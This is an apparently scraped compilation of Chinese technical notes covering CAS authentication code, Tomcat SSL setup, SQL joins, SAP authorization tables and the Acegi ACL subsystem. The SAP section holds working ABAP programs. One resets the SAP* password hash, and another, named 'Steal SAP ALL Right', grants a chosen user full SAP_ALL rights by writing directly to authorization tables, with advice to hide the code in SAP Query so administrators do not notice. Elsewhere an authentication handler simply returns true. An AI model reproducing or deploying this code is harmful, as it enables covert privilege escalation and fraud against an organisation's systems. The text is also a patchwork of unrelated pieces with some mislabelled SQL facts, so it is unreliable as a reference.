import org.springframework.validation.Validator;
import com.nlcd.cas.authentication.principal.EcardCredentials;

public final class EcardCredentialsValidator implements Validator {

     public boolean supports(final Class clazz) {
         return EcardCredentials.class.isAssignableFrom(clazz);
     }

     public void validate(final Object o, final Errors errors) {
         ValidationUtils.rejectIfEmptyOrWhitespace(errors, "username",
             "required.username", null);
         ValidationUtils.rejectIfEmptyOrWhitespace(errors, "password",
             "required.password", null);
     }
}

EcardCredentials: (加入一个idtype属性)
import org.jasig.cas.authentication.principal.Credentials;

public class EcardCredentials implements Credentials {

/** Unique ID for serialization. */
private static final long serialVersionUID = -7863273946921255486L;

private String idtype;

/** The username. */
     private String username;

     /** The password. */
     private String password;

     public String getIdtype() {
   return idtype;
}

public void setIdtype(String idtype) {
   this.idtype = idtype;
}

/**
      * @return Returns the password.
      */
     public final String getPassword() {
         return this.password;
     }

     /**
      * @param password The password to set.
      */
     public final void setPassword(final String password) {
         this.password = password;
     }

     /**
      * @return Returns the userName.
      */
     public final String getUsername() {
         return this.username;
     }

     /**
      * @param userName The userName to set.
      */
     public final void setUsername(final String userName) {
         this.username = userName;
     }

     public String toString() {
         return this.username;
     }

     public boolean equals(final Object obj) {
         if (obj == null || !obj.getClass().equals(this.getClass())) {
             return false;
         }

         final EcardCredentials c = (EcardCredentials) obj;

         return this.idtype.equals(c.getIdtype()) && this.username.equals(c.getUsername())
             && this.password.equals(c.getPassword());
     }

     public int hashCode() {
         return this.idtype.hashCode() ^ this.username.hashCode() ^ this.password.hashCode();
     }
}

2. 部署自己的authenticationHandlers

deployerConfigContext.xml:
<property name="credentialsToPrincipalResolvers">
    <list>
     <bean
      class="com.nlcd.cas.authentication.principal.EcardCredentialsToPrincipalResolver" />
     <bean
      class="org.jasig.cas.authentication.principal.HttpBasedServiceCredentialsToPrincipalResolver" />
    </list>
   </property>

   <property name="authenticationHandlers">
    <list>
     <bean class="org.jasig.cas.authentication.handler.support.HttpBasedServiceCredentialsAuthenticationHandler"
      p:httpClient-ref="httpClient" />
     <bean
      class="com.nlcd.cas.authentication.handler.support.EcardAuthenticationHandler" />
    </list>
   </property>

EcardCredentialsToPrincipalResolver:
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.jasig.cas.authentication.principal.CredentialsToPrincipalResolver;
import org.jasig.cas.authentication.principal.Credentials;
import org.jasig.cas.authentication.principal.Principal;
import org.jasig.cas.authentication.principal.SimplePrincipal;

public final class EcardCredentialsToPrincipalResolver implements
     CredentialsToPrincipalResolver {

     /** Logging instance. */
     private final Log log = LogFactory.getLog(getClass());

     public Principal resolvePrincipal(final Credentials credentials) {
         final EcardCredentials ecardCredentials = (EcardCredentials) credentials;

         if (log.isDebugEnabled()) {
             log.debug("Creating SimplePrincipal for ["
                 + ecardCredentials.getUsername() + "]");
         }

         return new SimplePrincipal(ecardCredentials.getUsername());
     }

     public boolean supports(final Credentials credentials) {
         return credentials != null
             && EcardCredentials.class.isAssignableFrom(credentials
                 .getClass());
     }
}

EcardAuthenticationHandler:
import org.jasig.cas.authentication.handler.AuthenticationException;
import org.jasig.cas.authentication.handler.AuthenticationHandler;
import org.jasig.cas.authentication.principal.Credentials;
import org.jasig.cas.util.annotation.NotNull;
import com.nlcd.cas.authentication.principal.EcardCredentials;

public final class EcardAuthenticationHandler implements AuthenticationHandler {

private static final Class<EcardCredentials> DEFAULT_CLASS = EcardCredentials.class;

/** Class that this instance will support. */
@NotNull
private Class<?> classToSupport = DEFAULT_CLASS;

private boolean supportSubClasses = true;

public EcardAuthenticationHandler() {
}

public final boolean authenticate(final Credentials credentials)
    throws AuthenticationException {
   //TODO: your code here
   return true;
}

public final boolean supports(final Credentials credentials) {
   return credentials != null
     && (this.classToSupport.equals(credentials.getClass()) || (this.classToSupport
       .isAssignableFrom(credentials.getClass()))
       && this.supportSubClasses);
}
}

3. 配置Tomcat使用SSL安全认证

生成服务器端密钥:
keytool -genkey -alias nlcdcas -keyalg RSA -keypass changeit -storepass changeit -keystore server.keystore
您的名字与姓氏是什么？
  [192.168.61.56]：  192.168.61.56
您的组织单位名称是什么？
  [nlce]：  nlcd
您的组织名称是什么？
  [Unknown]：  nlcd
您所在的城市或区域名称是什么？
  [Unknown]：  beijing
您所在的州或省份名称是什么？
  [Unknown]：  beijing
该单位的两字母国家代码是什么
  [Unknown]：  cn
CN=192.168.61.56, OU=nlcd, O=nlcd, L=beijing, ST=beijing, C=cn 正确吗？
  [否]：  y

生成服务器端证书:
keytool -export -alias nlcdcas -storepass changeit -file server.cer -keystore server.keystore

导入证书文件到cacerts 文件中:
keytool -import -trustcacerts -alias server -file server.cer -keystore cacerts -storepass changeit

把cacerts文件，拷贝到<JAVA_HOME>\jre\lib\security目录下;server.keystore拷贝到Tomcat安装目录下

修改Tomcat的配置文件server.xml把以下补注释的内容打开

<Connector port="8443" maxHttpHeaderSize="8192"

               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"

               enableLookups="false" disableUploadTimeout="true"

               acceptCount="100" scheme="https" secure="true"

               clientAuth="false" sslProtocol="TLS" />

加入红字部份后的内容如下：

         <Connector port="8443" maxHttpHeaderSize="8192"

keystorePass="changeit" keystoreFile="/server.keystore"

               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"

               enableLookups="false" disableUploadTimeout="true"

               acceptCount="100" scheme="https" secure="true"

               clientAuth="false" sslProtocol="TLS" />

　　以前在Oracle中用=(+)和(+)=来进行左外联接和右外联接；后来用SQL Server时用*=和=*进行外连接左外联接和右外联接；
现在决定用SQL-92的标准方法：[OUTER] JOIN，OUTER是可以省略的。

　　LEFT OUTER JOIN 或 LEFT JOIN        表示左外联接 

　　RIGHT OUTER JOIN 或 RIGHT JOIN   表示左外联接 

　　FULL OUTER JOIN 或 FULL JOIN        表示左外联接

　　外联接的意思不用多说，我们都懂，但是JOIN到底怎么用呢？没有找到很好的资料，只能从例子中学习了：

　　1、这个例子也许没有实际意义，只是为了说明问题：

CREATE TABLE orders(order_id int, firm_id int, p_id int)
CREATE TABLE firms (firm_id int, f_name int)
CREATE TABLE products(p_id int, p_name int)
select a.order_id, b.f_name, c.p_name
from orders a left join firms b on a.firm_id = b.firm_id
left join products c on a.p_id = c.p_id

　　说明：orders表是主表，先和从表firms进行左联接，再和从表products进行左联接。

　　判断是外联接中的主表还是从表主要看from从句中各个表在LEFT JOIN或RIGHT JOIN两边的位置：LEFT JOIN左边的表是主表，RIGHT JOIN右边的表是主表；

　　ON表达了两个表连接的条件，一般外联接是等值联接，不等值联接意义不大；

　　在多个表的连接中，一个表既可以做主表又同时可以做从表，为了说明这个问题，我们修改以上SQL为：

select a.order_id, b.f_name, c.p_name
from orders a left join firms b on a.firm_id = b.firm_id
right join products c on a.order_id = c.p_id

　　这个SQL没有什么意义，但从中可以看出a表既是b的主表又是c的从表；到底怎么用，还是要根据实际情况来决定是左联接还是右联接；

　　那天，看到了这样一个例子：

create table tab1 (c1 int, c2 int, c3 int)
create table tab2 (c1 int, c2 int, c3 int)
create table tab3 (c1 int, c2 int, c3 int)
create table tab4 (c1 int, c2 int, c3 int)
SELECT *
FROM tab1 LEFT OUTER JOIN tab2 ON tab1.c3 = tab2.c3
left OUTER JOIN tab3 right OUTER JOIN tab4
ON tab3.c1 = tab4.c1
ON tab2.c3 = tab4.c3

　　这种用法还真少见，具体怎么个意思，还在理解中...我把它改写成：

SELECT *
FROM tab1 left JOIN tab2 ON tab1.c3 = tab2.c3
LEFT OUTER JOIN tab4 ON tab2.c3 = tab4.c3
RIGHT OUTER JOIN tab3  ON tab3.c1 = tab4.c1

　　也许它们是一个意思。我发现加个括号，看的更清楚一些（它是个嵌套）

SELECT *
FROM tab1 LEFT OUTER JOIN tab2 ON tab1.c3 = tab2.c3
left OUTER JOIN
(tab3 right OUTER JOIN tab4
ON tab3.c1 = tab4.c1)
ON tab2.c3 = tab4.c3

　　二 外联接中 "ON + AND" 与 "ON + WHERE" 的区别

　　1、on条件是外联接时在生成临时表时使用的联结条件，不论从表是确定值还是NULL，主表所有的值都会出现；

　　如果再加上and条件； 如果and条件引用的是主表的列，则对结果毫无影响，主表的所有纪录依然会全部出现；如果and条件引用的是从表的列，则不符合条件的从表纪录显示NULL；

　　2、where条件是在临时表生成后，再对临时表进行过滤的条件。临时表中的所有纪录都受影响，不符合条件的纪录被过滤出结果集；

　　3、示例：

select a.module_id, a.name, b.module_name
from fb_autocoding a left join fb_app_module b
on a.module_id = b.module_id
and b.module_internal_label <> 'LO';
select a.module_id, a.name, b.module_name
from fb_autocoding a left join fb_app_module b
on a.module_id = b.module_id
where b.module_internal_label <> 'LO';

　　三 其他Join运算

　　merge join：在处理其他联结之前，先把相关两个表联结在一起；

　　hash join：把一个表join到已经被执行过join的结果上；

　　用括号改变join的顺序：

select catalog.item, catalog.item_color, product.item, color.color_name
from catalog full outer join (product cross join color)
on catalog.item = product.item
and catalog.item_color = color.color_name;

用户权限解剖:

通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile name,
记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?

首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.

2.activity category &Authorization group
  Role Vs Profile
你看看表T020就知道了,就是什么K,D, A, M什么的.

profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,
权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.

role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile
也是可做任何事情.
SAP本身有很多default role & profile.

3.最常用的PFCG->authorizations->change authorization data->
进入后选取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization objec,然后手工加入就可以.
你选去authorization levels就可by account type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.

那么SAP是如何做到权限控制的呢,屠夫就用到小宰一下.

4.关于权限方面的几个t-code.

(一)Role(角色)相关T-code:
PFAC         标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG  创建
ROLE_CMP 比较
SUPC  批量建立角色profile
SWUJ  测试
SU03            检测authorzation data
SU25, SU26      检查updated profile
(二)建立用户相关T-code:
SU0  
SU01  
SU01D  
SU01_NAV 
SU05 
SU50, Su51, SU52 
SU1  
SU10  批量
SU12  批量
SUCOMP:维护用户公司地址
SU2  change用户参数
SUIM  用户信息系统
用户组
SUGR:维护 
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
 
(三)关于profile&Authoraztion Data
SU02:直接创建profile不用role
SU20:细分Authorization Fields

SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.

对具体transaction code细分:    
SU22,SU24  
SU53:*** 就是你出错用来检查没有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role

DB和logical层:
SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 用户级authoraztion值
-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户
USREFUS:
USRBF2
USRBF3
UST04:User Profile在此
UST10C: Composite profiles
UST10S: Single profiles (角色对应的
UST12 : Authorizations..............................

..............................
如何窃取权限

..............................

用户:
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.

通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code

这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select  single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02  .

现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...

这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2  这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report        : Steal SAP ALL Right                                 *
*& Creation Date : 2004.04.01                                          *
*& Created by    : Stone.Fu                                            *
*& Description   : 可窃取SAP ALL权限                                    *
*& Modified Date : 2005.11.02
*& Description   : 将此code hide在report painter or query  code        *
*&---------------------------------------------------------------------*

report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS  like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select  single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS  = zPROFS.
Update USR04 from zUSR04  .

**Update User authorization masters table UST04 .
select  single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE  = 'SAP_ALL'. "SAP all 权限
Update UST04 from zUST04 .

*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .

select *  from  USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一个ztest用户不给它任何权限然后在test machine上run  报表zrightsteal.

然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.  K, 现在我碰到一个大问题了, 记帐程序被改的出了问题..

大部分开发者都应该熟悉基于Windows NT内核的Windows操作系统，比如Windows 2000、2003、XP。事实上，Windows操作系统本身充当了管理千万个领域对象的角色，这里的领域对象就是那些文件夹和文件。各个文件夹可以含有子文件夹，也可以含有大量的文件。文件是叶节点，它不再包含任何子元素。从领域对象的角度出发，文件夹和文件自身都持有各自的访问控制列表（Access Control List，ACL），ACL用于给定操控这些领域对象的权限信息，比如marissa用户可以操作shared目录，而scott用户不能够操作shared目录等。

为了同基于角色授权区分开，对于领域对象而言，访问控制列表（Access Control List，ACL）成为了各个领域对象的“专有名词”。这意味着，角色授权适用于Web资源和业务方法，而ACL授权适用于领域对象。各个ACL可能持有若干个ACE，即Access Control Entry（访问控制项）。总之，各个领域对象都会存在对应它的ACL，而各个ACL会持有若干个ACE，ACE真正给出了操控当前领域对象的具体权限信息。

14.1.1  保护领域对象概述

Acegi于org.acegisecurity.acls.domain包内置了表示ACL的如下Acl接口。通过这一接口，我们能够获得ACL持有的ACE集合、当前ACL对应的领域对象、这一ACL的持有人（主人）、当前ACL的父ACL等。

public interface Acl extends Serializable {

     //获得当前ACL持有的ACE集合

    public AccessControlEntry[] getEntries();

     //当前ACL对应的领域对象

    public ObjectIdentity getObjectIdentity();

     //持有这一ACL的主人

    public Sid getOwner();

     //获得当前ACL的父ACL

    public Acl getParentAcl();

     //父ACL是否允许被当前ACL继承

    public boolean isEntriesInheriting();

     //用于ACL授权决定

    public boolean isGranted(Permission[] permission, Sid[] sids,

               boolean administrativeMode)

        throws NotFoundException, UnloadedSidException;

     //判断当前ACL是否已持有传入的sids

    public boolean isSidLoaded(Sid[] sids);

}

图14-1展示了Acegi内置的Acl继承链，处于继承链中的各个接口及类各有各的用途。比如，借助于MutableAcl能够修改当前的AclImpl实例，借助于AuditableAcl能够完成ACL中ACE的审计，借助于OwnershipAcl能够修改当前AclImpl实例的主人。

图14-1  Acl继承链

下面给出了Acegi内置的用于表示ACE的AccessControlEntry策略接口。通常，Acl同AccessControlEntry具有1:N的关系，单个Acl持有若干个AccessControlEntry。

public interface AccessControlEntry {

    //获得其所在的ACL

    public Acl getAcl();

    //标识当前的ACE

    public Serializable getId();

    //表示的ACL（ACE）权限信息

    public Permission getPermission();

    //当前ACL（ACE）权限信息的持有人，比如marissa用户

    public Sid getSid();

    //当前ACL（ACE）权限信息是否已经授给了Sid

    public boolean isGranting();

}

图14-2展示了Acegi内置的AccessControlEntry继承链。

图14-2  AccessControlEntry继承链

在借助Acegi保护领域对象期间，开发者几乎不用同Acl和AccessControlEntry打交道，至少不用同AclImpl和AccessControlEntryImpl实现类交互。Acl和AccessControlEntry都使用到Sid接口，而Acl还使用到ObjectIdentity接口。Sid用于表示ACL授权过程中的授权对象，比如marissa用户、ROLE_USER角色都可以成为Sid的表示对象。图14-3展示了Acegi内置的Sid继承链。开发者将用户名、Authentication对象传入PrincipalSid构建器便能够构建出PrincipalSid对象；同理，将角色、GrantedAuthority对象传入GrantedAuthoritySid构建器便能够构建出GrantedAuthoritySid对象。ObjectIdentity用于标识单个领域对象，这一对象的存在使得目标企业应用同Acegi间的耦合得到降低，ObjectIdentityImpl是Acegi内置的唯一ObjectIdentity实现类。

图14-3  Sid继承链

Acegi提供的ACL子系统正是围绕Acl、AccessControlEntry、Sid、ObjectIdentity展开的，这些对象存活于业务系统与RDBMS间。也正是这些接口的存在，我们才能够将Acegi提供的ACL子系统作用到任何RDBMS中。也就是说，Acegi提供的领域对象支持适合于所有的RDBMS、O/R Mapping技术。为了能够从RDBMS装载到相关对象，我们需要使用Acegi内置的如下AclService接口。

//获得ACL

public interface AclService {

     //查找到parentIdentity的所有子ObjectIdentity，ACL管理工具经常要使用到它

    public ObjectIdentity[] findChildren(ObjectIdentity parentIdentity);

     //通过ObjectIdentity获得单个Acl对象

    public Acl readAclById(ObjectIdentity object) throws NotFoundException;

     //通过ObjectIdentity获得仅适合于sids的单个Acl对象

    public Acl readAclById(ObjectIdentity object, Sid[] sids)

        throws NotFoundException;

     //获得ObjectIdentity[]对应的Acl对象集合

    public Map readAclsById(ObjectIdentity[] objects) throws NotFoundException;

     //通过ObjectIdentity[]获得仅适合于sids的Acl对象集合

    public Map readAclsById(ObjectIdentity[] objects, Sid[] sids)

        throws NotFoundException;

}

图14-4展示了Acegi内置的AclService继承链，处于这一继承链中的各个接口及实现类各有各的用途。比如，JdbcAclService用于实现AclService策略接口。

图14-4  AclService继承链

MutableAclService用于维护Acl实例，开发者经常要同这一策略接口打交道，其定义如下。JdbcMutableAclService实现了MutableAclService。注意，开发者也可以提供O/R Mapping技术对应的AclService实现，比如Hibernate、JPA。Acegi仅仅实现了JDBC版本的AclService，开发者可以在自身的应用中同时使用O/R Mapping技术和JDBC。

//维护Acl实例

public interface MutableAclService extends AclService {

     //在RDBMS中创建不含ACE的ACL，即Acl对象

    public MutableAcl createAcl(ObjectIdentity objectIdentity)

        throws AlreadyExistsException;

     //从RDBMS中删除objectIdentity对应的ACL

    public void deleteAcl(ObjectIdentity objectIdentity, boolean deleteChildren)

        throws ChildrenExistException;

     //将现有的acl实例同步到RDBMS中

    public MutableAcl updateAcl(MutableAcl acl) throws NotFoundException;

}

通过本节内容，我们大致了解了Acegi提供的用于ACL子系统的各主要接口。本章后续内容将围绕这些接口展开论述。

14.1.3  ACL权限的定义

我们可以对领域对象进行各种操作，比如新增、删除、修改、浏览、管理等。Acegi将各种ACL权限信息建模在BasePermission对象中，相关的ACL权限信息摘录如下。开发者经常需要同READ、WRITE、CREATE、DELETE、ADMINISTRATION等ACL权限打交道，这些权限的含义非常容易理解。借助于FieldRetrievingFactoryBean，开发者能够在DI容器中配置它们。

public static final Permission READ =

      new BasePermission(1 << 0, 'R'); // 1

public static final Permission WRITE =

      new BasePermission(1 << 1, 'W'); // 2

public static final Permission CREATE =

      new BasePermission(1 << 2, 'C'); // 4

public static final Permission DELETE =

      new BasePermission(1 << 3, 'D'); // 8

public static final Permission ADMINISTRATION =

      new BasePermission(1 << 4, 'A'); // 16

图14-7展示了Acegi内置的Permission继承链。BasePermission将基本的权限建模好了，而借助于CumulativePermission，开发者能够建构复合权限。比如，我们可以对READ、WRITE等权限进行逻辑或运算，进而在RDBMS中存储复合权限，从而简化了ACL授权操作。

图14-7  Permission继承链

下面摘录了ADMINISTRATION、READ、DELETE权限的定义示例，这些配置信息同样摘自于applicationContext-common-authorization.xml配置文件。各个AclEntryVoter投票器和AbstractAclProvider子类需要引用到这些ACL权限定义。

<bean id="BasePermission.ADMINISTRATION"

      class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean">

      <property name="staticField">

               <value>org.acegisecurity.acls.domain.BasePermission.ADMINISTRATION</value>

      </property>

</bean>

<bean id="BasePermission.READ"

      class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean">

      <property name="staticField">

               <value>org.acegisecurity.acls.domain.BasePermission.READ</value>

      </property>

</bean>

<bean id="BasePermission.DELETE"

      class="org.springframework.beans.factory.config.FieldRetrievingFactoryBean">

      <property name="staticField">

               <value>org.acegisecurity.acls.domain.BasePermission.DELETE</value>

      </property>

</bean>

在熟悉Acegi中ACL子系统的各个术语及基本概念后，我们需要通过实际企业应用验证它们，从而加深对它们的理解。

14.2.1  RDBMS表的建立

为了实施基于Acegi ACL领域对象授权支持的企业应用，开发者必须建立好同ACL相关的4张RDBMS表。它们的名字和含义如下。

l  acl_class：用于存储领域对象对应的全限定名，比如sample.contact.Contact。

l  acl_sid：用于存储ACL授权对象，或者是用户名，或者是角色名。比如，marissa用户、ROLE_USER角色。

l  acl_object_identity：用于存储领域对象对应的Acl信息。

l  acl_entry：用于存储Acl（acl_object_identity）对应的AccessControlEntry信息。默认时，acl_object_identity同acl_entry构成了主从表关系，并以1:N关系存在。

图14-8展示了这4张表间的具体关系，这是采用Hibernate Tools获得的图形化表示，此外，图中还展示了Acegi contacts示例存储领域对象的contacts表、存储用户和角色信息的users和authorities表。值得开发者注意的是，contacts、users、authorities表与ACL对应的4张表并无直接联系。接下来，我们来一一研究这些表的设计和内容。由于Acegi contacts示例采用了HSQLDB RDBMS，因此这些表对应的SQL DDL语句不能够直接用于其他生产数据库，比如Oracle 10g、SQL Server 2005。在领会Acegi ACL的思想后，开发者能够很轻松地给出特定数据库版本的ACL表定义。

图14-8  contacts示例设计的RDBMS表

其一，users表的定义如下：username列用于存储用户名，password列用于存储密码，enabled列用于存储启用标志位。

create table users(

      username varchar_ignorecase(50) not null primary key,

      password varchar_ignorecase(50) not null,

      enabled boolean not null

);

图14-9给出了users表中已存储的示例数据。这里的password列的内容经过了MD5加密处理。

图14-9  users表已存储的示例数据

其二，authorities表的定义如下：username列用于存储用户名，authority列用于存储角色名。

create table authorities(

      username varchar_ignorecase(50) not null,

      authority varchar_ignorecase(50) not null,

      constraint fk_authorities_users foreign key(username) references users(username)

);

create unique index ix_auth_username on authorities(username,authority);

图14-10给出了authorities表中已存储的示例数据，其中的username列数据引用到users表中username列的数据。默认时，users和authorities表处于1:N的关系。

图14-10  authorities表已存储的示例数据

其三，contacts表的定义如下：id列用于标识领域对象，contact_name列存储联系人的姓名，而email列用于存储联系人的邮件地址。

create table contacts(

      id bigint not null primary key,

      contact_name varchar_ignorecase(50) not null,

      email varchar_ignorecase(50) not null

);

图14-11给出了contacts表中已存储的示例数据。

图14-11  contacts表已存储的示例数据

在实际企业应用中，存在大量的领域对象，因而会存在大量的RDBMS表来存储它们。类似地，实际企业应用存储用户、角色信息的RDBMS表也不一定是users、authorities表，相信仔细阅读过本书相关章节的开发者都知道如何自定义它们。好了，再来研究4张ACL表的SQL DDL语句及相应的示例数据。

其四，acl_class表的定义如下：id列用于标识领域对象对应的全限定名，而class列用于存储领域对象对应的全限定名。

create table acl_class(

      id bigint generated by default as identity(start with 100) not null primary key,

      class varchar_ignorecase(100) not null,

      constraint unique_uk_2 unique(class)

);

图14-12给出了acl_class表中已存储的示例数据。由于Acegi contacts示例仅仅存在单个Contact领域对象类型，因此这一表仅仅存在单条记录。

图14-12  acl_class表已存储的示例数据

其五，acl_sid表的定义如下：principal列用于给定sid列的类型，即同一记录中存储了用户名还是角色名。相比之下，sid列存储用户名或者角色名。如果sid列存储了用户名，则principal列取值为true；如果sid列存储了角色名，则principal列取值为false。

create table acl_sid(

      id bigint generated by default as identity(start with 100) not null primary key,

      principal boolean not null,

      sid varchar_ignorecase(100) not null,

      constraint unique_uk_1 unique(sid,principal)

);

图14-13给出了acl_sid表中已存储的示例数据。由于sid列存储的数据都是用户名，因此principal列取值都为true。在某种程度上，acl_sid对应于Sid对象。

图14-13  acl_sid表已存储的示例数据

其六，acl_object_identity表的定义如下：id列为主键。其中，object_id_class引用到acl_class中的id列取值，图14-14中的object_id_class列取值都是100，即Contact领域对象类型。类似地，object_id_identity列的内容起到绑定特定领域对象的作用。比如，在contacts示例应用中，object_id_identity列的内容同contacts表中id列的内容保持一致。注意，开发者也可以通过其他策略维护object_id_identity列同特定领域对象间的绑定关系。默认时，我们建议领域对象都能够含有id属性，因为ObjectIdentityImpl可能会通过反射机制调用到领域对象的getId()方法，并将返回结果存储到object_id_identity列。最后，parent_object列用于指定当前ACL的父ACL，而own_sid列用于存储当前ACL的主人，entries_inheriting列用于指定当前ACL是否继承父ACL（含有的ACE集合）。可以看出，owner_sid列取值引用到acl_sid中id列取值。

create table acl_object_identity(

      id bigint generated by default as identity(start with 100) not null primary key,

      object_id_class bigint not null,

      object_id_identity bigint not null,

      parent_object bigint,

      owner_sid bigint,

      entries_inheriting boolean not null,

      constraint unique_uk_3 unique(object_id_class,object_id_identity),

      constraint foreign_fk_1 foreign key(parent_object)references acl_object_identity(id),

      constraint foreign_fk_2 foreign key(object_id_class)references acl_class(id),

      constraint foreign_fk_3 foreign key(owner_sid)references acl_sid(id)

);

图14-14给出了RDBMS acl_object_identity表中已存储的示例数据。在某种程度上，acl_object_identity对应于Acl对象。

图14-14  acl_object_identity表已存储的示例数据

其七，acl_entry表的定义如下：id列是主键。其中，acl_object_identity表指定当前ACE所属的ACL，即对应到acl_object_identity表中的id列。类似地，sid列用于存储当前ACE所属的授权对象，它对应于acl_sid表中的id列；ace_order列对ACE集合进行排序；mask列存储ACE权限信息，具体情况请参考BasePermission和CumulativePermission类；granting列表明当前的ACE权限是否已经授给了同一记录持有的sid列（用户名或角色）；audit_success和audit_failure列用于审计目的，供各种基于Acegi ACL的管理工具在审计ACL（ACE）时使用。开发者可以借助于Acegi暴露的API开发出相应的审计（管理）工具。

create table acl_entry(

      id bigint generated by default as identity(start with 100) not null primary key,

      acl_object_identity bigint not null,

      ace_order int not null,

      sid bigint not null,

      mask integer not null,

      granting boolean not null,

      audit_success boolean not null,

      audit_failure boolean not null,

      constraint unique_uk_4 unique(acl_object_identity,ace_order),

      constraint foreign_fk_4 foreign key(acl_object_identity) references acl_object_identity(id),

      constraint foreign_fk_5 foreign key(sid) references acl_sid(id)

);

图14-15给出了RDBMS acl_entry表中已存储的示例数据。在某种程度上，acl_entry对应于AccessControlEntry对象。

图14-15  acl_entry表已存储的示例数据

    <bean id="aclBeanReadVoter" class="org.acegisecurity.vote.BasicAclEntryVoter">
        <property name="processConfigAttribute">
            <value>ACL_READ</value>
        </property>
        <property name="processDomainObjectClass">
            <value>org.springside.modules.security.acl.domain.AclDomainAware</value>
        </property>
        <property name="aclManager">
            <ref local="aclManager"/>
        </property>
        <property name="requirePermission">
            <list>
                <ref local="org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION"/>
                <ref local="org.acegisecurity.acl.basic.SimpleAclEntry.READ"/>
            </list>
        </property>
    </bean>

1. ACL_READ指的是这个Voter对哪些SecurityConfig起作用，我们可以把ACL_READ配置在想要拦截的Method上。比方说我们要拦截readOrder这个方法，以实现ACL控制，可以这样配置。
   orderManager.readOrder=ACL_READ
2. processDomainObjectClass指出哪些DomainObject是要进行ACL校验的。
3. aclManager是一个比较重要的概念，主要负责在权限列表中根据用户和DomainObject取得acl列表。
